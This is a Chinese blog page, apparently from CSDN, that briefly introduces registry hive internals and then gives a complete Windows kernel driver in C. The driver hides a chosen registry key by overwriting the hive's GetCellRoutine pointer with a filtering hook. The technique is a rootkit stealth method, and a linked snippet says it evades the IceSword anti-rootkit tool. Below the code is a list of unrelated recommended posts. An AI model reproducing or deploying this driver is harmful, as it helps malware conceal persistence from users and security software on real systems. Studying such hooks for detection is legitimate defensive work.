隐藏注册表键代码

谈谈注册表项信息隐藏 理论:注册表是Windows系统存储关于计算机配置信息的数据库,包括了系统运行时需要调用的运行方式的设置,是系统的核心。操作系统是用特殊的文件(Hive文件)来存储注册表的内容,并提供给用户相关的编程接口(APIs)来进行注册表的操作,例如Advapi32.dll中的Registry Functions(如:RegEnumKey)。在Windows操作系统中,函数的调用有着极其规范的层次结构,如下 阅读详情
#include <ntddk.h>

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

#pragma pack(1)
typedef struct _HHIVE {
           ULONG Signature;
           PGET_CELL_ROUTINE GetCellRoutine;
           // ...
} HHIVE, *PHHIVE;

typedef struct _CM_KEY_CONTROL_BLOCK {
        UCHAR Tapz[0x10]; //garbage
        PHHIVE pHHive;
        ULONG KeyCell;
// ...
}CM_KEY_CONTROL_BLOCK, *PCM_KEY_CONTROL_BLOCK;

typedef struct _CM_KEY_NODE {
           USHORT Signature;
           USHORT Flags;
           LARGE_INTEGER LastWriteTime;
           ULONG Spare;               // used to be TitleIndex
           HANDLE Parent;
           ULONG SubKeyCounts[2];     // Stable and Volatile
           HANDLE SubKeyLists[2];     // Stable and Volatile
           // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
           USHORT Signature;
           USHORT Count;
           HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
           ULONG Type;              // "ky02"
           PVOID KeyControlBlock;
           PVOID NotifyBlock;
           PEPROCESS Process;       // the owner process
           LIST_ENTRY KeyBodyList;         // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;
#pragma pack()


//key to hide
WCHAR g_HideKeyName[] = L"//Registry//Machine//SYSTEM//CurrentControlSet//Services//NDIS";

PGET_CELL_ROUTINE  pGetCellRoutine=NULL;
PGET_CELL_ROUTINE *ppGetCellRoutine=NULL;

PCM_KEY_NODE HideNode=NULL;
PCM_KEY_NODE LastNode=NULL;


HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
           NTSTATUS status;
           UNICODE_STRING uKeyName;
           OBJECT_ATTRIBUTES OA;
           HANDLE hKey;

           RtlInitUnicodeString(&uKeyName, pwcsKeyName);
           InitializeObjectAttributes(&OA, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
           status = ZwOpenKey(&hKey, KEY_READ, &OA);
           if(!NT_SUCCESS(status))
           {
                   DbgPrint("ZwOpenKey Failed: %lx/n", status);
                   return NULL;
           }

           return hKey;
}


PVOID GetKeyControlBlock(HANDLE hKey)
{
           NTSTATUS Status;
           PCM_KEY_BODY KeyBody;
           PCM_KEY_CONTROL_BLOCK pKCB;

           if(hKey==NULL)
                return NULL;

           Status=ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
           if(!NT_SUCCESS(Status))
           {
                   DbgPrint("Error with ObReferenceObjectByHandle : 0x%x/n", Status);
                   return NULL;
           }

           pKCB=KeyBody->KeyControlBlock;
           DbgPrint("KeyControlBlock : 0x%x/n", pKCB);

           ObDereferenceObject(KeyBody);

           return pKCB;
}


PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
           ULONG i;

           // get parent Node
           PCM_KEY_NODE ParentNode=(PCM_KEY_NODE)pGetCellRoutine(Hive, Node->Parent);

           PCM_KEY_INDEX Index=(PCM_KEY_INDEX)pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

           DbgPrint("ParentNode = 0x%x, IndexList = 0x%x/n", ParentNode, Index);
           DbgPrint("ParentNode->SubKeyCounts[0] : %d, ParentNode->SubKeyCounts[1] : %d/n", ParentNode->SubKeyCounts[0], ParentNode->SubKeyCounts[1]);

           DbgPrint("Signature : 0x%x, Index->Count : %d/n", (USHORT)Index->Signature, Index->Count);

           if(Index->Signature==CM_KEY_INDEX_ROOT)
           {
                   Index=(PCM_KEY_INDEX)pGetCellRoutine(Hive, Index->List[Index->Count-1]);
                   DbgPrint("Index = 0x%x/n", Index);
           }

           if(Index->Signature==CM_KEY_FAST_LEAF || Index->Signature==CM_KEY_HASH_LEAF)
                   return pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
   else
                   return pGetCellRoutine(Hive, Index->List[Index->Count-1]);
}


PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
           PVOID Ret=pGetCellRoutine(Hive, Cell);

           if(Ret)
           {
                   //if pGetCellRoutine return the node to hide
                   if(Ret==HideNode)
                   {
                           DbgPrint("GetCellRoutine(0x%x, 0x%08lx) = 0x%x/n", Hive, Cell, Ret);

                           //get last KeyNode and save it in LastNode
                           Ret=LastNode=(PCM_KEY_NODE)GetLastKeyNode(Hive, HideNode);

                           DbgPrint("LastNode = 0%x/n", LastNode);
                       
                        //if our HideNode=LastNode, return NULL       
                           if(Ret==HideNode)
                                        Ret=NULL;
                   }
                   //after, when we reach the LastNode we return NULL
                   else if(Ret==LastNode)
                   {
                           DbgPrint("GetCellRoutine(0x%x, 0x%08lx) = 0x%x/n", Hive, Cell, Ret);

                           Ret=LastNode=NULL;
                   }
           }

   //DbgPrint("RetNode : 0x%x/n", Ret);
   return Ret;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
           DbgPrint("DriverUnload Called/n");
       
        //restore GetCellRoutine
           if(ppGetCellRoutine)
                        *ppGetCellRoutine=pGetCellRoutine;

           return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
           HANDLE hKey;
           PCM_KEY_CONTROL_BLOCK pKCB;
           PHHIVE pHHive;

           DbgPrint("DriverEntry Called/n");

          pDrvObj->DriverUnload=DriverUnload;
       
        //get a handle witch reference a KEY_BOY struct
           hKey=OpenKeyByName(g_HideKeyName);

        //get KEY_CONTROL_KEY associated with the key mapping
           pKCB=GetKeyControlBlock(hKey);
           if(pKCB)
           {
               
                   pHHive=(PHHIVE)pKCB->pHHive;

                   DbgPrint("pHHive : 0x%x/n", pHHive);
               
                //save address of GetCellRoutine variable in hive struct
                   ppGetCellRoutine=&pHHive->GetCellRoutine;
       
                //save GetCellRoutine function address
                   pGetCellRoutine=pHHive->GetCellRoutine;

                   DbgPrint("GetCellRoutine : 0x%x/n", pGetCellRoutine);

                //get the KeyNode to hide
                   HideNode=(PCM_KEY_NODE)pGetCellRoutine((PVOID)pHHive, (HANDLE)pKCB->KeyCell);
               
                //replace GetCellRoutine by MyGetCellRoutine
                   pHHive->GetCellRoutine=MyGetCellRoutine;
           }

           ZwClose(hKey);

           return STATUS_SUCCESS;
}

 
也谈rootkit 注册表信息隐藏 注册表是Windows系统存储关于计算机配置信息的数据库,包括了系统运行时需要调用的运行方式的设置,是系统的核心。操作系统是用特殊的文件 (Hive文件)来存储注册表的内容,并提供给用户相关的编程接口(APIs)来进行注册表的操作,例如Advapi32.dll中的Registry Functions(如:RegEnumKey)。在Windows操作系统中,函数的调用有着极其规范的层次结构,如下图所 阅读详情

相关推荐

储巢HIVE及实现注册表隐藏

储巢, 巢箱,巢室,隐藏注册表

爱杀之爪的矩阵 3257

利用CmRegisterCallback函数在Windows下保护注册表项

<br />一般在Windows下保护注册表有以下几种方法:<br /> <br />1. Ring3 hook <br /> 实现简单。可利用微软的Detour库,第三方的mhook库,或者自己实现。<br /> 但是如果是做产品的话不得不考虑兼容性的问题,纵使周知,大量的病毒、木马和恶意程序使用同样的方法来隐藏或者保护自身<br /> 的注册表项和键值,基本上所有基于行为监控的安全类软件都会向用户报告此类程序为恶意程序。<br />2. Ring0 hook<br /> 原理和Ring3 hook基本上

diveintokernel的专栏 4914

Windows 10蓝屏边框消除方案

当系统遇到严重错误时,会显示一个带有蓝色边框的屏幕,通常称为“蓝屏死机”或“蓝屏错误”。虽然蓝屏错误是为了向用户显示有关系统错误的信息,但对于一些用户来说,这个蓝色的边框可能会感觉不太友好,甚至觉得干扰。但需要注意的是,蓝屏错误是系统发生严重问题的标志,隐藏边框并不能解决根本的问题。在Windows 10中,我们可以使用C++编写一个简单的应用程序来修改系统注册表,以隐藏蓝屏错误的边框。请注意,修改注册表可能会对系统产生影响,因此在执行此代码之前,请务必备份您的注册表或创建系统还原点,以防止意外发生。

CodeGu的博客 345

注册表隐藏

1. 使用系统工具:在Windows操作系统中,可以使用组策略编辑器(gpedit.msc)来隐藏注册表。打开组策略编辑器后,导航到“用户配置”>“管理模板”>“系统”,然后找到“阻止访问注册表编辑器”选项,将其启用。2. 修改注册表权限:通过修改注册表的权限设置,可以限制用户对注册表的访问权限。- 单击“编辑”按钮,然后在“基本权限”中撤消“查看”权限。- 在“高级安全设置”窗口中,选择当前用户的权限项。- 在“安全”选项卡中,选择“高级”。- 右键单击该项,选择“权限”。- 导航到需要隐藏的注册表项。

黑客CN博客 1620

Windows注册表隐藏磁盘分区技巧

Windows操作系统中的注册表是一个多层次的数据库,它存储了系统配置信息、用户设置、安装软件的状态以及硬件设备信息等。它几乎涉及到Windows系统的所有配置和设置,因此是系统维护和优化中不可或缺的一部分。

weixin_42509888的博客 1011

ScanNet数据集下载全攻略:从申请到解析的保姆级教程(含常见问题解决)

本文提供了ScanNet数据集从申请授权到下载、解析的完整实战指南。针对这个大规模室内RGB-D数据集,详细介绍了官方申请流程、优化下载策略、数据验证方法,并重点解决了深度图解析等常见问题,帮助三维视觉研究者高效获取和使用这一宝贵资源。

5f4d3s2a1q的博客 620

RegistryCallback routine(CmRegisterCallback 注册表操作监控介绍)

RegistryCallback routine 过滤器驱动程序的常规RegistryCallback可以监视,阻止或修改一个注册表操作。 句法 C ++ EX_CALLBACK_FUNCTION RegistryCallback; NTSTATUS RegistryCallback( 标签:APIWinHTTP PVO

whatday的专栏 4996

Ubuntu 18.04下Freesurfer 7.2.0安装全攻略:从下载到环境配置一步到位

本文详细介绍了在Ubuntu 18.04系统上安装Freesurfer 7.2.0的完整流程,包括系统准备、依赖安装、下载解压、环境配置、许可证获取及性能优化。Freesurfer作为神经影像分析的重要工具,支持皮层重建和体积分割等复杂任务,适用于阿尔茨海默症等神经系统疾病研究。指南还提供了常见问题解决方案和实际应用案例,帮助用户快速搭建高效的神经影像分析平台。

omega的博客 996

注册表详细设置之三

《注册表编辑器收藏夹的存放位置》(WIN2000/XP) [HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Applets/Regedit/Favorites] 《在"服务"中删除不需要的服务》(WIN2000/XP) [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Service

微笑的骷髅 2026

通义千问对接FreeSWITCH实现大模型呼叫中心

通义千问是由阿里云开发的大规模语言模型,具备优秀的自然语言处理能力,支持文本生成、问答对话、摘要提取等多种任务。它不仅拥有丰富的知识储备,还能根据上下文灵活调整回答策略,适用于各种复杂场景下的自动化交流。FreeSWITCH是一个开源的多媒体通信服务器,提供了包括VoIP通话、即时消息传递在内的多种通信服务。它的模块化设计允许开发者根据实际需求定制功能,广泛应用于企业级通信系统中。通过集成通义千问,FreeSWITCH能够实现更智能的客户服务体验。

技术永不眠 Q:53195017 1499

Abaqus SIGTERM/SIGINT中断问题深度解析与实战解决方案

本文深度解析Abaqus仿真计算中因SIGTERM或SIGINT信号导致作业意外终止的常见问题。核心原因常为许可证管理器因网络通信延迟误判进程空闲而强制断开,或系统资源监控工具的误杀。文章提供了从命令行参数调优(如使用int、ask_delete=OFF)、计算环境隔离到编写自动化容错脚本的完整实战解决方案,帮助用户彻底规避此类中断,确保长时间仿真任务的稳定运行。

weixin_29279101的博客 414

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。 原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。 ...

chubaisheng8627的博客 60

数据挖掘在人力资源分析中的实战案例

在当今竞争激烈的商业环境中,人力资源管理对于企业的成功至关重要。有效的人力资源管理能够提高员工绩效、降低员工流失率、优化人才招聘等。而数据挖掘技术为人力资源管理提供了强大的工具,通过对大量人力资源数据的分析,可以发现潜在的规律和模式,为企业的决策提供有力支持。本文的目的是通过实际案例展示数据挖掘在人力资源分析中的具体应用,涵盖员工绩效预测、人才招聘筛选、员工流失分析等多个方面。通过详细的案例分析,帮助读者理解数据挖掘技术在人力资源管理中的实际操作和应用价值。

移动开发前沿的博客 489

过icesword 1.22 ,注册表隐藏,启动项隐藏

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。 以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。 原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。 #include <ntddk.h> #def...

weixin_33827590的博客 85

3、基于视觉的智能分拣机:原理、算法与应用

本文介绍了一种基于视觉的智能分拣系统,利用树莓派、相机模块和多种检测算法实现低成本、高精度的物体分拣。系统支持颜色、形状和尺寸三种检测方式,准确率达99%,广泛适用于制造业、农业和物流等领域。文章详细阐述了各检测算法原理、测试结果及系统优化方向,并探讨了其实际应用案例与未来发展前景。

mqtt6iot的博客 237

【系统架构设计师】2025年下半年真题论文回忆版及写作要点

本文摘要围绕云原生数据库、性能测试、无服务器架构和秒杀场景等关键技术进行论述。云原生数据库通过容器化、微服务和自动化运维实现弹性扩展;性能测试需要规划测试场景并关注响应时间等关键指标;无服务器架构以事件驱动为核心,简化开发流程;秒杀场景需组合运用扩容、缓存、限流等技术应对高并发。这些技术方案为构建现代高可用系统提供了重要参考。

数据知道的博客 6159

5-JS-对象-Symbol类型

Symbol 类型 根据规范,对象的属性键只能是字符串类型或者 Symbol 类型。不是 Number,也不是 Boolean,只有字符串或 Symbol 这两种类型。 到目前为止,我们只见过字符串。 Symbol 表示唯一的标识符。 可以用 Symbol() 来创建这种类型的值: // id 是 symbol 的一个实例化对象 let id = Symbol(); 创建时,我们可以给 Symbol 一个描述(也称为 Symbol 名),这在代码调试时非常有用: // id 是描述为 "id" 的 Sym

qq_44790423的博客 498

Vins-Fusion 外参camera-imu 标定

Vins-Fusion是一种基于优化的多传感器状态估计器,一大特色是支持实时camera-imu外参校准(相机和IMU之间的旋转)。Vins-Fusion 外参camera-imu校准是利用两帧间计算相机位姿和imu预积分得到位姿,构建最小二乘问题,并通过SVD求解camera-imu外参旋转矩阵。

u010196944的博客 2490

C# 系统应用之注册表使用详解

本文主要讲述C#如何使用注册表的信息,包括注册表的基本结构及使用方法。一方面讲述了注册表相关的基础知识,另一方面通过代码结合图片格式讲述简单运用注册表。创建注册表键、删除键、获取值、设置值等方法,并通过自己最近的研究讲述一些自己的体会。最后希望文章对大家有所帮助。

杨秀璋的专栏 9619

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

25.JavaScript的Symbol类型、隐藏属性、全局注册表

Symbol类型的使用 在前文《JavaScript的8种数据类型》中,我们已经简单的介绍过了JavaScript的Symbol类型,下面对其使用方法和使用场景做一个简单的介绍。 Symbol简介 Symbol类型是JavaScript中的一种特殊的类型,特殊在所有的Symbol类型值都互不相同。我们可以使用“Symbol”来表示唯一的值,下面是创建Symbol对象的案例: let id = Symbol(); 这样我们就创建了一个Symbol类型的值,并把这个值存储在了变量id中。 ......

魏大大 2146

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

复习:cell 隐藏注册表

注册表隐藏的步骤如下: 1。 打开指定名字的注册表键,获取其hkey. 例如: // 打开指定名字的Key HANDLE OpenKeyByName(PCWSTR pwcsKeyName) {        NTSTATUS status;        UNICODE_STRING uKeyName;        OBJECT_ATTRIBUTES oa;

Returns' Station 2302

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

上一篇: 隐藏文件和进程的驱动代码
下一篇: 深入底层 评估Vista内核模式的安全性
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值